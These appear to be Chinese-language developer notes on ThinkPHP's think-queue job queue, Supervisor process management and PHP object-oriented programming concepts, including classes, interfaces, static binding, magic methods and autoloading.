任务数量较少
任务的执行时间较长(如生成大型的excel报表等),
任务的执行时间需要有严格限制
【 消息队列的开始,停止与重启 】
开始一个消息队列:
php think queue:work
停止所有的消息队列:
php think queue:restart
重启所有的消息队列:
php think queue:restart
php think queue:work
【 消息的延迟执行与定时执行 】
延迟执行,相对于即时执行,是用来限制某个任务的最早可执行时刻。在到达该时刻之前,该任务会被跳过。可以利用该功能实现定时任务
在生产者业务代码中:
$isPushed = Queue::push($jobHandlerClassName, $jobDataArr, $jobQueueName); // 即时执行
$isPushed = Queue::later( 2, $jobHandlerClassName, $jobDataArr, $jobQueueName); // 延迟2秒执行
// 延迟到 2017-02-18 01:01:01 时刻执行
$time2wait = strtotime('2017-02-18 01:01:01') - strtotime('now');
$isPushed = Queue::later($time2wait,$jobHandlerClassName, $jobDataArr, $jobQueueName);
在消费者类中:
$job->release(); // 重发,即时执行
$job->release(2); // 重发,延迟 2 秒执行
// 延迟到 2017-02-18 01:01:01 时刻执行
$time2wait = strtotime('2017-02-18 01:01:01') - strtotime('now');
$job->release($time2wait);
在命令行中:
//如果消费者类的fire()方法抛出了异常且任务未被删除时,将自动重发该任务,重发时,会设置其下次执行前延迟多少秒,默认为0
php think queue:work--delay 3
【 消息的重发 】
消息的重发时机有3种:
1 在消费者类中手动重发:
if( $isJobDone === false) $job->release();
2 work进程自动重发需同时满足以下两个条件
消费者类的fire()方法抛出了异常
任务未被删除
3 当配置了expire不为null时,work进程内部每次查询可用任务之前会先自动重发已过期的任务
在database模式下,1和2中的重发逻辑是先删除原来的任务,然后插入一个新的任务3中的重发时机是直接更新原任务。
而在redis模式下,3种重发都是先删除再插入。
不管是哪种重发方式,重发之后任务的已尝试次数会在原来的基础上+1
消费者类中需要注意,如果fire()方法中可能抛出异常,那么
如果不需要自动重发的话, 请在抛出异常之前将任务删除 $job->delete() ,否则会被框架自动重发。
如果需要自动重发的话,请直接抛出异常,不要在fire()方法中又手动使用 $job->release() , 这样会导致该任务被重发两次,产生两个一样的新任务。
【 任务的失败回调及告警 】
当同时满足以下条件时将触发任务失败回调:
命令行的--tries参数的值大于0
任务的已尝试次数大于命令行的--tries参数
开发者添加了queue_failed事件标签及其对应的回调代码,queue_failed标签需要在安装了thinkphp-queue之后手动去\application\tags.php文件中添加
消费者类中定义了failed()方法,用于接收任务失败的通知
添加queue_failed事件标签,及其对应的回调方法
回调方法的返回值
返回true时系统会自动删除该任务,并且自动调用消费者类中的failed()方法
返回false时,系统不会自动删除该任务,也不会自动调用消费者类中的failed()方法,需要开发者另行处理失败任务的删除和通知
【 常驻内存 】
可配合supervisor使用,保证进程常驻(非window)
supervisor是用Python开发的一个client/server服务,是Linux/Unix系统下的一个进程管理工具。可以很方便的监听、启动、停止、重启一个或多个进程。用supervisor管理的进程,当一个进程意外被杀死,supervisor监听到进程死后,会自动将它重启,很方便的做到进程自动恢复的功能,不再需要自己写shell脚本来控制
window只能定时任务来执行bat执行php脚本
exec("mkdir d:\\test",$out); //PHP执行cmd命令的方法
出错,比如 unix://xx.sock错误, 执行一下supervisord -c /etc/supervisord.conf 就可以了
使用supervisor管理think-queue示例
配置文件 /etc/supervisord.conf 末尾添加以下代码:
[program:php]
command= /usr/bin/php think queue:work--queue notify --daemon ; 被监控进程
directory=/home/wwwroot/dlsj.mrpzx.com
;process_name=%(process_num)02d
;numprocs=5 #启动几个进程
autostart=true ;随着supervisord的启动而启动
autorestart=true ;自动启动
startsecs=1 ;程序重启时候停留在runing状态的秒数
startretries=10 ;启动失败时的最多重试次数
redirect_stderr=true ;重定向stderr到stdout
stdout_logfile=/root/supervisor.log ;stdout文件
yum安装supervisor
yum install epel-release
yum install supervisor
//设置开机自动启动
systemctl enable supervisord
配置
编辑/etc/supervisord.conf配置文件
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
supervisord]
logfile=/tmp/supervisord.log ; main log file; default $CWD/supervisord.log
logfile_maxbytes=50MB ; max main logfile bytes b4 rotation; default 50MB
logfile_backups=10 ; # of main logfile backups; 0 means none, default 10
loglevel=info ; log level; default info; others: debug,warn,trace
pidfile=/tmp/supervisord.pid ; supervisord pidfile; default supervisord.pid
nodaemon=false ; start in foreground if true; default false
minfds=1024 ; min. avail startup file descriptors; default 1024
minprocs=200 ; min. avail process descriptors;default 200
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
[include]
;files = relative/directory/*.ini
files = /etc/supervisor/*.conf
file,logfile,pidfile,serverurl,files的路径可根据自身需要去自定义
在/etc目录里创建一个supervisor文件,然后在/etc/supervisor目录下创建一个.conf文件,这里命名为queue.conf。
对于index这个单模块而言,不同的业务逻辑为了区分可能会存在多个队列名,这种情况将多个队列名用逗号拼接起来,内容如下:
[program:queue]
user=root
command=php /www/wwwroot/tpqueue/think queue:work --queue helloJobQueue,taskOneQueue,taskTwoQueue --daemon
启动supervisor
supervisorctl -c /etc/supervisord.conf
进入supervisorctl的shell界面,然后可以执行不同的命令了
status # 查看程序状态
stop thrift-log # 关闭usercenter程序
start thrift-log # 启动usercenter程序
restart thrift-log # 重启usercenter程序
reread # 读取有更新(增加)的配置文件,不会启动新添加的程序
update # 重启配置文件修改过的程序
【 Supervisor进程管理守护进程 】
开发项目免不了要使用一些守护进程来执行一些定时、耗时的任务,数量少、有权限时一个个处理也就是几个命令的事。但当数量变多或需要控制权限时再这样操作就不太合适了,此时最好是有一个工具可以管理这些守护进程。
Supervisor就是这样一款Python开发的Linux进程管理工具,主要用于在后台维护进程(类似master守护进程)。Supervisor可以实现监控进程的状态,自动重启进程等操作,非常方便服务的维护与监控。
Supervisor主要由以下两部分组成:
1、supervisord
这是Supervisor的服务端,当启动Supervisor时,首先会有一个supervisord进程,称为父进程,它所管理的进程是它的子进程。supervisord进程负责统一管理这些子进程的启动、重启、停止。从某种角度上看,有点NGINX的master与worker的感觉。
2、supervisorctl
这是Supervisor的客户都安,它是一个命令行管理工具,输入某些命令,如: start、stop、restart等,就可以对指定的进程进行相应的操作。
安装
pip install supervisor
yum install supervisor
Supervisor是由Python开发的,因此在安装supervisor前要确保已安装了Python
配置
默认安装好的Supervisor是无法启动的,需要调整一些配置才行。默认Supervisor的配置文件是没有的,需要自己创建。可以找一个目录,如/etc/supervisor,通过执行如下命令来生成配置文件:
echo_supervisord_conf > /etc/supervisor/supervisord.conf
打开/etc/supervisor/supervisord.conf配置文件,内容如下:
这里的配置包括两部分: master进程的配置和worker进程配置。master进程的配置控制supervisor,worker进程的配置控制守护进程。
[inct_http_server]部分设置了supervisor管理页面的访问地址和访问账户,[include]部分指定了worker进程配置文件的目录。
worker进程配置文件没有指定需要开启的worker进程数,默认为1,如果需要调整,可以增加一个numprocs参数,numprocs参数用来指定worker进程数。
启动
配置文件配置好后就可以启动Supervisor了。启动Supervisor需要指定配置文件
supervisord -c /etc/supervisor/supervisord.conf
Supervisor启动后就可以通过配置文件中第一部分配置的IP地址和端口访问Supervisor管理页面,通过Supervisor管理页面不仅可以启动、重启、停止进程,同时还可以查看进程的状态及相关的执行日志
PHP对象和面向对象编程OOP(object oriented programming)
oop遵循一条基本原则是计算机程序是由单个或多个能够起到子程序作用的单元或对象组成 使代码更简洁,易于维护,功能更强;目标: 重用性,灵活性,扩展性 面向对象编程是一种设计思想,在程序设计过程中把每一部分都尽量当成一个对象来考虑,以实现软件系统的可扩展性,可维护性和可重用性 面向对象编程的基本原则 1、单一职责: 一个类只需要做好一件事情 2、开发封闭: 一个类应该是可扩展的,而不是可修改的 3、依赖倒置: 一个类不应该强依赖另外一个类,每个类对于另外一个类都是可替换的,使用依赖注入 4、配置化: 尽可能的使用配置,而不是硬编码 5、面向接口编程: 只需关心接口,不需要关心实现,而不是面向实现编程 1、封装性: 也称为信息隐藏,就是将一个类的使用和实现分开,只保留部分接口和方法与外部联系,或者说只公开了一些供开发人员使用的方法。于是开发人员只需要关注这个类如何使用,而不用去关心其具体的实现过程,这样就能实现MVC分工合作,也能有效避免程序间相互依赖,实现代码模块间松藕合。 2、继承性: 子类自动继承其父级类中的属性和方法,并可添加新的属性和方法或对部分属性和方法进行重写。继承增加了代码的可重用性。PHP只支持单继承,一个子类只能有一个父类。 3、多态性: 子类继承了来自父级类中的属性和方法,并对其中部分方法进行重写。于是多个子类中虽然都具有同一个方法,但这些子类实例化的对象调用这些相同的方法后却可以获得完全不同的结果,这种技术就是多态性。多态性增强了软件的灵活性。
类和对象
类是一个独立的程序单位,有类名并包括属性说明和功能说明两个主要部分
对象是系统中描述客观事物的一个实体或实例instance
类的实例化结果就是对象,类是对有相同属性和方法的对象抽象化
类的声明和对象的创建
class ClassName{
// todo
}
$obj = new ClassName();
属性是类的成员变量,静态的,可以被方法操作,必须使用修饰符public,private,protected进行修饰,定义变量的访问权限
属性定义可以不设置初值,或赋予特定的初值,如boolean,inter,float,string,array,null;但不能是表达式,函数,对象,资源类型
方法是类的成员函数,是动态的,可执行的,在修饰符缺省时是public修饰
通过特殊操作符 -> 来完成对象成员属性和方法的访问
对象->属性
对象->属性=新值
对象->方法
类内部访问借助关键词$this
$this->属性
$this ->属性=新值
$this ->方法
【 空对象 】
PHP中没有Js里面 var object = {}; 这样的语法
PHP创建空对象至少可以使用3种方法实现
方法一: 写一个空类
class cfg {}
$cfg = new cfg;
$cfg->dbhost = 'www.jb51.net';
echo $cfg->dbhost;
方法二: 实例化StdClass类
StdClass类是PHP中的一个基类,StdClass类没有任何成员方法和属性,实例化以后就是一个空对象
$cfg = new StdClass();
$cfg->dbhost = 'www.jb51.net';
echo $cfg->dbhost;
方法三: 折腾json_encode()和json_decode()
把一个空的JSON对象通过json_decode()转变为PHP的StdClass空对象
将一个数组通过json_encode()转成JSON,再通过json_decode()将JSON转为StdClass对象
$cfg = json_decode('{}');
$cfg->dbhost = 'www.jb51.net';
echo $cfg->dbhost;
对象转为数组强制转换为object
【 get_declared_classes() 】
get_declared_classes ( void ) : array
返回由当前脚本中已定义类的名字string组成的数组,自动包括了php标准库和扩展库中所有的类
【 is_a() 】
使用instanceof运算符
bool is_a ( object $object ,string $class_name [,bool $allow_string = FALSE ] )
if ($WF instanceof WidgetFactory) {
echo 'Yes,$WF is a WidgetFactory';
}
【 is_subclass_of() 】
如果此对象所属类或某个类是该类的子类则返回TRUE
bool is_subclass_of ( object $object | string $class_name ,string $class_name )
【 method_exists() 】
检查类的方法是否存在
bool method_exists ( mixed $object ,string $method_name )
检查类的方法是否存在于指定的 object中
【 property_exists() 】
检查对象或类是否具有该属性
bool property_exists ( mixed $class ,string $property )
检查给出的property是否存在于指定的类中以及是否能在当前范围内访问
class 字符串形式的类名或要检查的类的一个对象
property 属性的名字
存在则返回TRUE,不存在则返回FALSE,出错返回NULL
protected function __construct($options = []){
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
}
【 get_object_vars() 】
返回由对象属性组成的关联数组
array get_object_vars ( object $obj )
【 get_parent_class() 】
返回对象或类的父类名
string get_parent_class ([ mixed $obj ] )
如果obj是对象则返回对象实例obj所属类的父类名,如果obj是字符串则返回以此字符串为名的类的父类名
【 interface_exists() 】
检查接口是否已被定义
bool interface_exists ( string $interface_name [,bool $autoload = true ] )
【 class_exists() 】
检查类是否已定义
bool class_exists ( string $class_name [,bool $autoload = true ] )
class_name 类名。名字的匹配是不分区大小写的
autoload 是否默认调用 __autoload
如果由class_name所指的类已经定义,此函数返回TRUE,否则返回FALSE
【 get_called_class() 】 获取静态方法调用的类名
【 get_class_methods() 】 返回由类的方法名组成的数组 array get_class_methods ( mixed $class_name ) 【 get_class_vars() 】 返回由类的默认属性组成的数组 array get_class_vars ( string $class_name ) 【 is_callable() 】 判断某个方法是否属于某个类,并且可以调用 bool is_callable ( callable $name [,bool $syntax_only = false [,string &$callable_name ]] ) 验证变量的内容能否作为函数调用,这可以检查包含有效函数名的变量或一个数组,包含了正确编码的对象以及函数名 name: 要检查的回调函数 syntax_only: TRUE表示仅验证name可能是函数或方法,仅拒绝非字符或未包含能用于回调函数的有效结构。有效的应该包含两个元素,第一个是一个对象或字符,第二个元素是个字符 callable_name: 接受"可调用的名称",下面的例子是"someClass::someMethod",尽管someClass::SomeMethod()的含义是可调用的静态方法,但例子的情况并不是这样的
【 get_class() 】 get_class ([ object $object = NULL ] ): string 返回对象实例object所属类的名字,如果object不是一个对象则返回FALSE 参数object要测试的对象,如果在类里此参数可以省略返回当前所在类的名称 如果object是命名空间中某个类的实例则会返回带上命名空间的类名 如果用其他类型调用 get_class(),而不是一个对象的话,就会产生 E_WARNING 级别的错误
【 ::class 】 关键词class也可用于类名的解析,ClassName代表一个含有命名空间的类,使用ClassName::class可获取一个字符串,包含了类ClassName的完全限定名称,这对使用了命名空间的类尤其有用
【 对象的比较 命名空间详解 】 1.比较操作符== 当两个对象具有相同的属性和值,属于同一个类且被定义在相同的命名空间中,则两个对象相等 ==比较两个不同的对象时可能相等也可能不等 2.全等符=== 当且仅当两个对象引用指向相同类(在某一特定的命名空间中)的同一个对象时才相等(是否有相同的内存地址) 对象2 = 对象1; // 使对象2和对象1指向相同的内存
【 匿名类 】 可以在PHP7中使用new class来定义(实例化)匿名类.匿名类可以用来代替完整的类定义。匿名类被嵌套进普通Class后不能访问这个外部类(Outer class)的 private(私有)、protected(受保护)方法或属性。为了访问外部类(Outer class)protected属性或方法,匿名类可以extend(扩展)此外部类。 为了使用外部类(Outer class)的 private 属性,必须通过构造器传进来:
类的构造函数和析构函数
构造方法(构造函数)
是对象被创建时自动调用的方法,用来完成类初始化的工作,本质是类中的方法
可以传递参数,可以设定参数默认值,可以调用属性和方法,可以被显示调用
构造方法的声明: __construct(){} 两个下划线
如果子类没自定义构造函数,则自动执行父类的构造函数,反之则要显式调用parent::__construct()
析构函数: 当某个对象的所有引用都被删除或对象销毁时被系统自动调用执行的函数
即对象在内存中被销毁前调用的析构函数,与构造函数相对
析构函数的声明: __destruct(){},不带参数
1.脚本运行结束系统就会自动销毁对象
2.unsettle()手动销毁
3.给对象赋值变成变量,指向不同
$p1=new Persons(); $p1指向Persons的一个对象new Persons(),即$p1是这个对象的引用
【 垃圾回收机制GC,防止内存溢出 】
PHP变量存放在内存中ZVAL的变量容器内,结构为:变量类型,变量值;is_ref,refcount
is_ref是布尔值,表示变量是否有一个以上的别名
refcount引用计数器,表示ZVAL容器内变量的个数,为1时is_ref时false
函数 echo xdebug_debug_zval($p1);
类的访问控制修饰符: 权限
public 公有的类成员可以在任何地方被访问 protected 受保护的类成员则可以被其自身以及其子类和父类访问 private 私有的类成员则只能被其定义所在的类访问属性的访问控制,类属性必须定义为公有,受保护,私有之一类方法可以被定义为公有、私有或受保护,如果没有设置则默认公有
类常量
static关键字
使用关键字static修饰成员属性和成员方法被称为静态属性和静态方法,也称为"类属性"或"类方法" 静态属性和静态方法不需要在类被实例化的情况下可以直接使用。 从当前类(不是子类)中访问静态方法或属性可以使用self关键字,self指向当前类,就像$this指向当前对象一样 不能在对象中调用静态方法,静态方法和属性又被称为类方法和类属性,因此不能在对象中使用伪变量$this 静态属性 与普通成员属性不同,静态属性属于类本身而不属于类的任何实例。静态属性可被看成存储在类当中的全局变量,可在任何地方通过类来访问 由于静态属性不受任何具体对象的限制,所以不需要建立类实例,而可以直接引用类中的静态属性 类名称::$静态属性名称 符号"::"被称作范围解析操作符,它可以用于访问静态成员、静态方法和常量,还可以用于覆盖类中的成员和方法 如果想在同一类的成员方法中访问静态属性,可以通过在该静态属性的名称前加上操作符"self::"来实现 静态方法 若类的方法前加了static关键字则该方法称为静态方法,反之为实例方法(非静态方法、动态方法) 静态方法为类所有,可以通过对象来使用,也可以通过类来使用。但一般通过类名来使用,因为静态方法不受任何具体对象的限制,静态方法只要定义了类,不必建立类的实例就可使用。 static方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用! 静态方法只能用类的静态成员,静态方法不能访问这个类中的普通属性,因为那些属性属于一个对象 类名称::静态方法名称([参数1,参数2,……]) 与调用静态属性相同,在类中使用操作符"self::"来表示调用同一类中的静态方法 静态属性不能由一个类已实例化的对象通过->操作符来访问,但静态方法可以由一个类已实例化的对象通过->操作符来访问 可以用一个变量来动态调用类,但该变量的值不能为关键字self,parent或static static的属性和方法,只能访问static的属性和方法,不能类访问非静态的属性和方法。因为静态属性和方法被创建时可能还没有任何这个类的实例可以被调用 静态方法效率上要比实例化高,静态方法的缺点是不自动进行销毁,而实例化的则可以做销毁。 静态方法和静态变量创建后始终使用同一块内存,而使用实例的方式会创建多个内存。 一个类的所有实例共用类中的静态属性,在内存中即使有多个实例,静态的属性也只有一份。 由于静态方法在内存中只有一份,无论调用多少次,都是共用的,而且没有对象的概念,所以不能在静态方法里面使用$this调用,如果非得调用的话,只能实例化自身类 而实例化不一样,每一个实例化是一个对象,在内存中是多个的 如果一个方法与所在的类的实例对象无关,那么就应该是静态的,而不应该写成实例方法。所有的实例方法都与实例有关,那么创建实例就是调用实例方法必然的步骤静态属性、方法(包括静态与非静态)在内存中只有一个位置,而非静态属性有多少实例化对象就有多少个属性静态方法属于类,作用范围是被划定在所属类中的,即使该类的子类存在同名静态方法也不会调用,self指静态方法所属的类类的每个实例都可以访问类中定义的静态属性,可以利用静态属性来设置值,该值可以被类的所有对象使用;静态属性和方法不需要实例化就可以直接调用,静态属性和方法在类被调用时创建静态方法调用静态方法静态方法调用静态属性非静态方法调用静态属性静态方法调用非静态方法非静态方法调用静态方法类调用非静态方法类调用非静态方法
new self()和new static()
new self() 一般在类内部使用,作用是对自身类实例化 new static()表示静态延迟绑定,无论是new static()还是new self()都是new了一个新的对象。 区别只有在继承中才能体现出来,没有任何继承时两者是没有区别的。 new self()返回的实例是不变的,无论谁去调用都返回同一个类的实例,而new static()则是由调用者决定的
【 static-const静态延迟绑定 】 延迟绑定static: 后期静态绑定,用法类似于self static:: 不再被解析为定义当前方法所在的类,而是在实际运行时计算
$this伪变量 指当前对象,谁调用就指向谁
self: 指向类本身,对类本身的引用,不指向任何已经实例化的对象,一般用来调用类中的static静态属性和方法 调用方式: self::静态属性/静态方法 域运算符,推荐使用 外部也可以(类名::静态属性/静态方法),但是类名需要更改时要全部改 parent: 指向父类的指针,对父类的引用,可以用来调用父类的方法 PHP 不会在子类的构造方法中自动的调用父类的构造方法。要执行父类的构造方法,需要在子类的构造方法中调用 parent::__construct()
final关键字
如果父类中的方法被声明为final,则子类无法覆盖该方法 如果一个类被声明为final,则不能被继承
抽象类 abstract class
一个抽象类使用关键字abstract来定义,抽象类可以包含抽象方法,也可以不包含抽象的方法。 抽象类不能被实例化成对象,但可以被继承。 一个抽象类可能包含有静态属性,也包含有静态方法。 当一个抽象类被继承以后,子类通常要实现其父类中的所有的抽象的方法。如果子类没有实现所有的父类中的抽象的方法,那么这个子类也必须被定义成抽象类。 另外这些方法的访问控制必须和父类中一样或更为宽松。例如某个抽象方法被声明为受保护的,那么子类中实现的方法就应该声明为受保护的或公有的,而不能定义为私有的 此外,子类方法可以包含父类抽象方法中不存在的可选参数 抽象方法就是不用没有方法体的——也就是没有实现的方法(没有花括号并且后面跟着分号) 被定义为抽象的方法只是声明了其调用方式(参)),不能定义其具体的功能实现 任何类里有方法被声明为抽象的,该类必须声明为抽象类 abstract void sum(int a,int b); 如果在程序中有下面的这些情况,那就要考虑使用抽象类了: 1.想要在几个关联紧密的类之间共享代码。 2.想要继承抽象类的那些类有一些公共方法或属性或是有修改protected或private属性的权限 3.想要声明非静态或者是非最终执行的属性。可以获得并且修改这些属性所属的对象的状态。 抽象类的应用场景 设计模式之模板模式,定义算法骨架结构,在子类中来实现
API接口 interface
一个接口仅仅是一个对象的方法的声明,具体的实现并不在接口中来做。一个接口使用关键字interface来定义。在接口中定义一个对象可以执行什么类型的操作,这些操作方法由实现该接口的类来实现。接口可以看作是一个类和外部环境之间的联系,接口中的方法只能使用public关键字修饰。外部环境通过接口可以知道一个对象可以向其提供什么样的操作。该联系是在程序编译的时候有解析器激活
API接口的定义和规范
接口是一种特殊的抽象类,是抽象方法和静态常量定义的集合,接口中的抽象方法只能是public
interface 接口名{
// todo;
}
常量是静态的,static可以缺省
interface中的抽象方法不用abstract和final修饰
接口的实现和继承
implements
一个类可以实现多个接口,逗号将多个接口连接起来,该类中必须实现接口中的所有抽象方法
class persons extends animal implements user,demo{}
接口继承另一个接口或多个接口extends
抽象类实现接口,可以不实现其中的抽象方法,而将抽象方法的实现交付给具体能被实例化的类去处理
使用接口interface可以指定某个类必须实现哪些方法,但不需要定义这些方法的具体内容
接口是通过interface关键字来定义的,就像定义一个标准的类一样,但其中定义所有的方法都是空的
接口中定义的所有方法都必须是公有,这是接口的特性
要实现一个接口,使用 implements 操作符。类中必须实现接口中定义的所有方法,否则会报一个致命错误。类可以实现多个接口,用逗号来分隔多个接口的名称
当有下面的情形的时候可以考虑使用接口:
1.用相互之间无关的类实现接口。举例来说,可比较的和可克隆的那些接口可以使用无关的类来实现。
2.想指定一个特定数据类型的行为,但是不用去关心由谁来实现这一行为。
3.想要利用多继承的优势。
1.oop封装性 - private
oop封装性: 将对象的属性和方法捆绑为一个逻辑单元,只保留有限的接口使之与外部联系 对象以外的部分不能随意存取对象的内部数据(属性),使错误局部化,易排错 PHP中通过将数据封装,声明为私有private,再提供一个或多个公开的public方法实现对该属性的操作,实现以下目的: 隐藏一个类的实现细节 防止对封装数据的未经授权的访问,只能通过事先设定好的方法访问 有利于保证数据的完整性 便于修改,增强代码的可维护性private不能直接被外部调用,只能由当前对象调用,比如你借钱给别人但不希望别人知道你有多少钱protected 修饰的属性和方法只能被子类调用,外界无法调用
2.oop继承性
oop继承性: 继承父类的属性和方法,包括构造方法
一个类只能继承一个父类,子类不能继承父类的private属性和方法
class 子类 extends 父类{
子类的特有属性和方法
}
方法重写override: 子类的方法和父类的相同时取子类的方法,即子类的方法覆盖父类的,子类的重写方法权限应更高
方法重载overload: 定义类时相同的方法名,但是参数个数不同,PHP不支持
属性重写
模拟方法重载
多重继承
php不支持多继承,PHP实现多继承可以使用interface或trait实现 1.使用interface声明类不能被实例化,并且属性必须是常量,方法不能有方法体 2.trait声明的类不能被实例化,由use引入,会覆盖父类的相同属性及方法,如果有多个use,那么按顺序下面的覆盖最上面的相同的属性及方法 组合方式实现多重继承(表象模拟): 类内部实现对象引用技术 接口方式���现多重继承(完全模拟): 通过把类的特征抽象为接口,通过实现接口的方式让对象有多重身份来实现多重继承之组合方法和接口方法
3.oop多态
一个对外接口(方法),多个内部实现
不同类的对象收到相同消息时,将得到不同的结果,即同一个操作(函数)作用于类的不同实例将产生不同的结果
1.通过继承实现多态: 可以扩展父类的功能
2.通过接口实现多态: 规范子类的操作,必须实现接口的方法
实例:
function openLight(Light1 $obj){ //只接受Light1接口或父类继承的类实例化的对象
$obj->show(); //参数Linght1限制传入的参数$obj对象必须归属于Light1
}
魔术方法(Magic methods)和魔术常量
php规定以两个下划线(__)开头的方法都保留为魔术方法,所以函数名最好不用__开头,除非是为了重载已有的魔术方法
魔术方法
__construct() 构造方法,实例化类时自动调用。
__destruct() 析构方法,类对象使用结束时自动调用。
__set() 在给对象未定义的属性赋值的时候调用。
__get() 调用对象未定义的属性时候调用。
__isset() 使用isset()或empty()函数时候会调用。
__unset() 使用unset()时候会调用。
__sleep() 使用serialize序列化时候调用。
__wakeup() 使用unserialize反序列化的时候调用。
__call() 调用一个不存在的方法的时候调用。
__callStatic() 调用一个不存在的静态方法是调用。
__toString() 把对象转换成字符串的时候会调用,比如echo。
__invoke() 当尝试把对象当方法调用时调用。
__set_state() 当使用var_export()函数时候调用,接受一个数组参数。
__clone() 当使用clone复制一个对象时候调用。
__debugInfo()
【 __get($property){} 】
当调用一个未定义或没声明的private、protected不可访问属性时调用此方法
function __get($property){ }
【 __set() 】
当设置一个未定义或没声明的private、protected不可访问属性时调用此方法
__set($property,$value){ }
【 __isset(){} 】
当对一个未定义或没声明的private、protected不可访问属性调用isset()或empty()函数时调用此方法
【 __unset(){} 】
当对不可访问属性调用unset()时__unset()会被调用
【 __clone(){} 】
使用clone方法复制一个对象时调用此函数
【 __toString() 】
public string __toString ( void )
用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。在将一个对象转化成字符串时自动调用此方法
此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误。
不能在__toString()方法中抛出异常,否则会导致致命错误
【 __sleep() 】 public array __sleep ( void ) serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在则该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容则NULL被序列化,并产生一个E_NOTICE级别的错误。 __sleep()不能返回父类的私有成员的名字,这样做会产生一个E_NOTICE级别的错误,可以用Serializable接口来替代。 __sleep()方法常用于提交未提交的数据或类似的清理对象的操作。同时如果有一些很大的对象但不需要全部保存,这个功能就很好用。 该函数有两个作用: 第一、在序列化之前,关闭对象可能具有的任何数据库连接等 第二、指定对象中需要被序列化的成员属性,如果某个属性比较大而不需要储存下来,可以不把它写进__sleep要返回的数组中,这样该属性就不会被序列化 【 __wakeup() 】 void __wakeup ( void ) 与之相反,unserialize()会检查是否存在一个__wakeup()方法,如果存在则会先调用__wakeup方法,预先准备对象需要的资源。 __wakeup()经常用在反序列化操作中,例如重新建立数据库连接或执行其它初始化操作
【 __invoke() 】 mixed __invoke ([ $... ] ) 当尝试以调用函数的方式调用对象时自动调用此方法
【 __set_state() 】
static object __set_state ( array $properties )
当调用var_export()导出类时此静态方法会被调用。
本方法的唯一参数是一个数组,其中包含按array('property' => value,...)格式排列的类属性
【 __call() 】 __call($method,array $arg) 在对象中调用一个不可访问private、proteted方法时__call()会被调用魔法方法与代码生成,提前自动生成setter/getter的代码DTO简易代码生成器
【 __callstatic() 】
static function __callstatic($method,array $arg){}
类似于__call(),处理静态方法调用,并且必须被声明为静态的
thinkphp \think\Log
【 __autoload($classname){} 】
在使用存在但是尚未定义的类时自动调用此方法,脚本引擎在PHP出错失败前有机会加载所需的类
用这个魔术函数的基本条件是类文件的文件名要和类的名字保持一致
当程序执行到实例化某个类的时候,如果在实例化前没有引入这个类文件,那么就自动执行__autoload()函数。
这个函数会根据实例化的类的名称来查找这个类文件的路径,当判断这个类文件路径下确实存在这个类文件后就执行include或require来载入该类,然后程序继续执行,如果这个路径下不存在该文件时就提示错误。
使用自动载入的魔术函数可以不必要写很多个include或require函数
类的自动加载: include require+字符串
【 get_include_path() 】
get_include_path ( void ) : string
获取当前的include_path配置选项
等效
echo get_include_path();
echo ini_get('include_path');
【 set_include_path() 】
string set_include_path ( string $new_include_path )
在脚本中动态的对PHP.ini中include_path进行修改,为当前脚本设置include_path运行时的配置选项,成功时返回旧的include_path,失败时返回FALSE
set_include_path就是设置php的包含文件路径,相当是操作系统的环境变量
多个不同的目录可以串联在一起作为一个参数一起提交,不同的目录间使用目录分割符号分开,在类unix的系统中这个分隔符是":",在windows系统中这个分隔符是";",所以php提供一个常量PATH_SEPARATOR 来表示当前系统中的这个分隔符。
例: 加载lib目录下的类; include多个路径要用";"隔开,但在linux下就使用":"隔开的
set_include_path(get_include_path().PATH_SEPARATOR.'lib/');
在正常include时需要指定绝对路径:
include(ROOT_PATH . 'config/config.php');
include(ROOT_PATH . 'lib/pdo.class.php');
include(ROOT_PATH . 'global/function.php');
如果用send_inclue_path设置后,
// Set include_path
$include_path[] = '.' ;
$include_path[] = ROOT_PATH . 'lib' ;
$include_path[] = ROOT_PATH . 'config' ;
$include_path[] = ROOT_PATH . 'global' ;
$include_path[] = get_include_path();
set_include_path(implode(PATH_SEPARATOR,$include_path));
那第一段代码就不需要再写路径:
include('config.php');
iclude('pdo.class.php');
include('function.php');
设置include路径配合spl_autoload_register函数可以实现不同目录的autoload
【 spl_autoload_register() 】
把函数注册至spl的__autoload函数栈中,并移出系统默认的__autoload函数即失效被屏蔽掉
可多次调用,创建了autoload函数的队列,按定义时的顺序逐个执行
而__autoload()函数只可以定义一次,否则会触发重复定义__autoload的错误
spl_autoload_register函数是将自定义函数设置替换__autoload函数,声明一个自定义__autoload()
当文件中同时出现__autoload和spl_autoload_register时,以spl_autoload_register为准
bool spl_autoload_register([ callable $autoload_function [,bool $throw = true [,bool $prepend = false ]]] )
autoload_function参数表示欲注册的自动装载函数。如果没有提供任何参数,则自动注册autoload的默认实现函数spl_autoload()
throw参数设置了autoload_function无法成功注册时,spl_autoload_register()是否抛出异常
prepend参数如果是true,spl_autoload_register()会添加函数到队列之首,而不是队列尾部
spl_autoload_register('func_name'); // 注册函数
spl_autoload_register(array('class_name','method_name')); // 注册类的方法
PSR-0规范 1、命名空间必须与绝对路径一致,文件名与类名一致 2、类名首字母必须大写 3、除入口文件外,其他.php文件必须只有一个类 PSR-4是关于由文件路径自动载入对应类的相关规范,规定了一个完全限定类名的结构: \<顶级命名空间>(\<子命名空间>)*\<类名>
